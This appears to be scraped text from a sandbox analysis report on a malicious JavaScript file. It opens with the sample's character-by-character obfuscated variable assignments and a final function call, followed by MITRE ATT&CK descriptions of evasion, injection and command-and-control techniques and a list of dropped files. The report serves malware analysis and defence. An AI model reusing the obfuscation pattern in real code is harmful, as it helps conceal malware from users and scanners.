1345	kaiziec = "S";
1346	kaiziec = "y";
1347	kaiziec = "D";
1348	kaiziec = "T";
1349	kaiziec = "x";
1350	kaiziec = "m";
1351	kaiziec = "h";
1352	kaiziec = "t";
1353	kaiziec = "s";
1354	kaiziec = "p";
1355	ehxipvhe = "v";
1356	ehxipvhe = "w";
1357	ehxipvhe = "i";
1358	ehxipvhe = "t";
1359	ehxipvhe = "t";
1360	ehxipvhe = "N";
1361	ehxipvhe = "R";
1362	ehxipvhe = "a";
1363	ehxipvhe = "d";
1364	ehxipvhe = "w";
1365	ehxipvhe = "P";
1366	ehxipvhe = "Z";
1367	ehxipvhe = "Y";
1368	ehxipvhe = "x";
1369	ehxipvhe = "V";
1370	ehxipvhe = "Q";
1371	ehxipvhe = "c";
1372	ehxipvhe = "w";
1373	ehxipvhe = "t";
1374	ehxipvhe = "E";
1375	ehxipvhe = "z";
1376	ehxipvhe = "i";
1377	ehxipvhe = "t";
1378	ehxipvhe = "y";
1379	ehxipvhe = "f";
1380	ehxipvhe = "H";
1381	ehxipvhe = "F";
1382	ehxipvhe = "d";
1383	ehxipvhe = "a";
1384	ehxipvhe = "h";
1385	ehxipvhe = "V";
1386	ehxipvhe = "Y";
1387	ehxipvhe = "T";
1388	ehxipvhe = "R";
1389	ehxipvhe = "I";
1390	ehxipvhe = "E";
1391	ehxipvhe = "j";
1392	ehxipvhe = "/";
1393	guratit = "f";
1394	guratit = "q";
1395	guratit = "F";
1396	guratit = "p";
1397	guratit = "X";
1398	guratit = "S";
1399	guratit = "g";
1400	guratit = "J";
1401	guratit = "t";
1402	guratit = "L";
1403	guratit = "r";
1404	guratit = "6";
1405	zjttp = "X";
1406	zjttp = "O";
1407	zjttp = "a";
1408	zjttp = "h";
1409	zjttp = "L";
1410	zjttp = "A";
1411	zjttp = "q";
1412	zjttp = "E";
1413	zjttp = "i";
1414	zjttp = "u";
1415	zjttp = "G";
1416	zjttp = "k";
1417	eiuwqfae ( );	eiuwqfae() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 2553416555111621752.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3ea3e27d-3a1a-4be1-a7e7-9c7a344b0566.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7792

Windows Analysis Report
2553416555111621752.js